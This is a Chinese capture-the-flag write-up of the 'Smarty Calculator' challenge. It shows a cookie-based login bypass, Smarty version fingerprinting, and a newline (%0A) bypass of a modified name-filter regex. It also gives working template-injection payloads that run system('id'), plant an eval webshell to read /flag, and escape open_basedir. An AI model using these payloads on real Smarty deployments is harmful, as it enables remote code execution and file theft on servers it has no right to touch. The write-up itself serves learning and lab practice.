[HMGCTF2022]Smarty Calculator
进入页面,随便输入一个字符,发现还未登录,没有提示就是文件泄露
1 | if(isset($_POST['data'])){ |
这个要求cookie有个login变量
随便加个就行:
1 | Cookie:login=123 |
登录后就可以计算了
smarty模板的判别(返回版本号)
1 | {$smarty.version} |
在网上找一下有没有这个版本的poc:
1 | {function+name='rce(){};system("id");function+'}{/function} |
但是没有回显,那就是修改了代码,可以自己使用beyond compare4对比一下本来的脚本:
1 | https://github.com/smarty-php/smarty/releases/tag/v3.1.39 |
发现这个过滤的代码被修改了
我们来分析一下这个正则匹配的差异,在题目给出的源码中,将!去掉,表示匹配成功即进入error;
然后a-zA-Z0-9_\x80-\xff这些包含了正常的大小写字母,数字,下划线以及不可显字符;
而后面的(.)+中,.匹配除了换行符以外的所有字符,匹配0次或者多次,+匹配一次或者多次
1 | if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) { |
所以可以换行绕过,%0A
既不在前面的[]
匹配里面,又不被后面的.
匹配
所以我们只需要在原来的poc基础上,加上回车绕过,即可执行(我这里用了两个回车进行绕过)
1 | data={function+name='rce(){};system("id");function%0A%0A'}{/function} |
获取id
再是获取flag
1 | data={function+name='rce(){};@eval($_POST[1]);function%0A%0A'}{/function}&1=var_dump(file_get_contents('/flag')); |
若是限制open_basedir目录
1 | data={function+name='rce(){};system("id");@eval($_POST[1]);function%0A%0A'}{/function}&1=mkdir('sk1y');chdir('sk1y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(file_get_contents('/flag')); |
获取flag
参考链接:https://blog.csdn.net/RABCDXB/article/details/123750375